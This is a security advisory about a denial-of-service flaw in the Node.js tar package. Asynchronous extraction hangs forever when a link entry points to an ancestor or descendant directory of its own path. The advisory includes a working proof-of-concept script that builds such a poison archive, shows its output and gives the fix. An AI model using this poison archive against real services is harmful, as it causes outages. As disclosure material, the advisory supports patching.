Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Locking via the PathReservations path-reservation queue in src/path-reservations.ts during asynchronous archive extraction on POSIX systems. When a Link or SymbolicLink entry has a linkpath that is an ancestor or descendant directory of the entry's own path, the reserve() call writes the same queue key twice - once as a function head and once as a directory Set - causing check() to permanently return false. The promise returned by tar.x() / tar.extract() never resolves or rejects, the stream never emits end, finish, or close, and every entry after the poison entry is silently skipped, resulting in a permanent hang.
Note: This is only exploitable when using asynchronous extraction on POSIX systems; synchronous extraction and extraction on Windows are unaffected.
Validated on president-xd/node-tar main @ 2a22bfc (version 7.5.22) and against the published npm package tar@7.5.22, on Linux, Node v24.19.0.
// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar')
const fs = require('fs')
const dir = '/tmp/resv-hang'; fs.rmSync(dir, {recursive:true, force:true}); fs.mkdirSync(dir, {recursive:true})
const b = Buffer.alloc(512)
new Header({ path: 'a/b', type: 'Link', linkpath: 'a', size: 0, mode: 0o644 }).encode(b, 0) // linkpath 'a' is ancestor of 'a/b'
fs.writeFileSync(dir + '/poison.tar', Buffer.concat([b, Buffer.alloc(1024)]))
let settled = 'NEVER'
x({ cwd: dir, file: dir + '/poison.tar' }).then(() => settled='RESOLVED').catch(() => settled='REJECTED')
const keepalive = setInterval(() => {}, 100) // hold the loop open so an unsettled promise is a true hang
setTimeout(() => { clearInterval(keepalive); console.log('result:', settled); process.exit(0) }, 4000)
Observed output:
result: NEVER // no warning, no resolution, no rejection
Control archive with linkpath: 'c' (a sibling, not a hierarchical relative) resolves in the same harness with a single TAR_ENTRY_ERROR warning. The PAX-linkpath route (14 linkpath=a\n before a File at a/b) and the GNU K route both hang identically; their sibling controls both resolve.
Note: Validated on tar@7.5.22 on Linux with Node v24.19.0.